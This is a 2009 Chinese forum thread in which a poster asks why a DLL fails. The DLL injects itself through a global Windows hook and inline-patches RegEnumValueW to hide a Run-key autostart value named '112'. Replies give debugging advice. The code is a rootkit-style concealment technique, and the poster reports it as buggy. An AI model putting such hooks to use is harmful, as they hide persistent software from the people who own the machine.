HOOK API 奇怪的错误!!!!!!

fantcy 2009-06-23 10:20:05
以下是dll端 和调用端exe(MFC)的代码:
运行后打开注册表不知道怎么回事 老是弹出"无法读取内容" 的错误提示!
弹一会之后我再看run健的时候发现112并没有隐藏 还有!!! 不知道是怎么回事!。
此段代码是想把112这个字符串隐藏 是在这个目录下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

#include "stdafx.h"

#pragma data_seg(".shared")

DWORD ProtectingPid = 0;

#pragma data_seg()

HMODULE MyModuleHandle;
HHOOK hhk = NULL;
DWORD MyPid = 0;
unsigned char Store[10];


long _stdcall SelfInject();
long _stdcall SelfEject();

LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam);
LONG WINAPI RegEnumValue2(
HKEY hKey,
DWORD dwIndex,
LPTSTR lpValueName,
LPDWORD lpcchValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
void HookAPI();
void UnHookAPI();
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD reason,
LPVOID lpReserved
)
{
if (reason == DLL_PROCESS_ATTACH)
{
HookAPI();
MyModuleHandle = (HMODULE)hModule;
MyPid = GetCurrentProcessId();
}
return TRUE;
}

long _stdcall SelfInject() //__declspec(dllexport) bool SelfInject()//long _stdcall SelfInject(); // bool SelfInject()
{
ProtectingPid = MyPid;
hhk = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,MyModuleHandle,0);
return (hhk != NULL);
}

long _stdcall SelfEject() //__declspec(dllexport) bool SelfEject() // bool SelfEject() //__declspec(dllexport)
{
return UnhookWindowsHookEx(hhk);
}

LRESULT CALLBACK GetMsgProc(int nCode,WPARAM wParam,LPARAM lParam)
{
return CallNextHookEx(hhk,nCode,wParam,lParam);
}

void HookAPI()
{
DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE;
HMODULE hmod = GetModuleHandle("Advapi32.dll");
long pa = (long)GetProcAddress(hmod,"RegEnumValueW");
long pa2 = (long)RegEnumValue2;
long dAddr = pa2 - pa - 5;
unsigned char *p = (unsigned char *)pa;
unsigned char *p2 = (unsigned char *)(&dAddr);

VirtualProtect((void *)pa,5,NewProtect,&OldProtect);

for(int i=0;i<5;i++)
Store[i] = p[i];

p[0] = (unsigned char)0xE9;
for(i=0;i<4;i++)
p[i + 1] = p2[i];

VirtualProtect((void *)pa,5,OldProtect,&NewProtect);
}

void UnHookAPI()
{
DWORD OldProtect, NewProtect = PAGE_EXECUTE_READWRITE;
HMODULE hmod = GetModuleHandle("Advapi32.dll");
long pa = (long)GetProcAddress(hmod,"RegEnumValueW");
unsigned char *p = (unsigned char *)pa;

VirtualProtect((void *)pa,5,NewProtect,&OldProtect);

for (int i=0;i<5;i++)
p[i] = Store[i];

VirtualProtect((void *)pa,5,OldProtect,&NewProtect);
}

LONG WINAPI RegEnumValue2(
HKEY hKey,
DWORD dwIndex,
LPTSTR lpValueName,
LPDWORD lpcchValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
)
{
UnHookAPI();
LONG ans = RegEnumValue(hKey,dwIndex,lpValueName,lpcchValueName,lpReserved,lpType,lpData,lpcbData);
//::MessageBox(NULL,lpValueName,"nihao",MB_OK);
if (lstrcmpA(lpValueName,"112")==0) //lstrcmpA
{
return ERROR_NO_MORE_ITEMS;
}
HookAPI();
return ans;
}

// ttouDlg.cpp : implementation file
//

#include "stdafx.h"
#include "ttou.h"
#include "ttouDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
CAboutDlg();

// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA

// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL

// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CTtouDlg dialog

CTtouDlg::CTtouDlg(CWnd* pParent /*=NULL*/)
: CDialog(CTtouDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CTtouDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CTtouDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CTtouDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CTtouDlg, CDialog)
//{{AFX_MSG_MAP(CTtouDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CTtouDlg message handlers

BOOL CTtouDlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Add "About..." menu item to system menu.

// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);

CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}

// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here

return TRUE; // return TRUE unless you set the focus to a control
}

void CTtouDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}

// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.

void CTtouDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CTtouDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
_declspec(dllimport) long _stdcall SelfInject();
void CTtouDlg::OnButton1()
{
//HINSTANCE hInst = ::AfxGetInstanceHandle();
//::MessageBox(NULL,(char*)hInst,"nihao",MB_OK);
SelfInject();
}
_declspec(dllimport) long _stdcall SelfEject();
void CTtouDlg::OnButton2()
{
SelfEject();
}


...全文
34 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
goodname 2009-06-23
  • 打赏
  • 举报
回复
long pa = (long)GetProcAddress(hmod,"RegEnumValueW");
unsigned char *p = (unsigned char *)pa;

我不知道你这句想表达什么目的,我想如果取pa的指针应该这样写
unsigned char *p = (unsigned char *)&pa;
老邓 2009-06-23
  • 打赏
  • 举报
回复
#pragma data_seg() 的写法有误!

供参考:
#pragma data_seg(".SEG_HOOK")
HWND g_hWnd = NULL;
HHOOK g_hHookKb = NULL; // KeyBoard Hook
HHOOK g_hHookMos = NULL; // Mouse Hook
int g_nCount = 0;
BOOL g_bRestLock = FALSE;
BOOL g_bLeftDn = FALSE;
BOOL g_bRightDn = FALSE;
UINT g_uIdMos = 0;
UINT g_uIdNet = 0;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.SEG_HOOK,RWS")
fantcy 2009-06-23
  • 打赏
  • 举报
回复
帮帮忙啊 有人知道吗??
fantcy 2009-06-23
  • 打赏
  • 举报
回复
fantcy 2009-06-23
  • 打赏
  • 举报
回复
谢谢您 还有人知道吗?? 我先试下。

64,282

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧